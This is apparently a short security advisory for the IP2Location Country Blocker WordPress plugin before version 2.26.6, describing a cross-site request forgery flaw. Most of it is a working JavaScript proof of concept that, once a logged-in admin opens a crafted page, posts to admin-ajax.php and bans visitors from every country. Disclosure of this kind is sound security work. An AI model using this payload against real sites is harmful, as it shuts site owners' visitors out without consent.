IP2Location Country Blocker < 2.26.6 - Arbitrary Country Ban via CSRF

Make an admin open a page with the following code in it, which will ban visitors from all countries:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"ip2location_country_blocker_save_rules", "countries[]": "nonexistent", "mode": 0}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(function(data) { console.log(data); });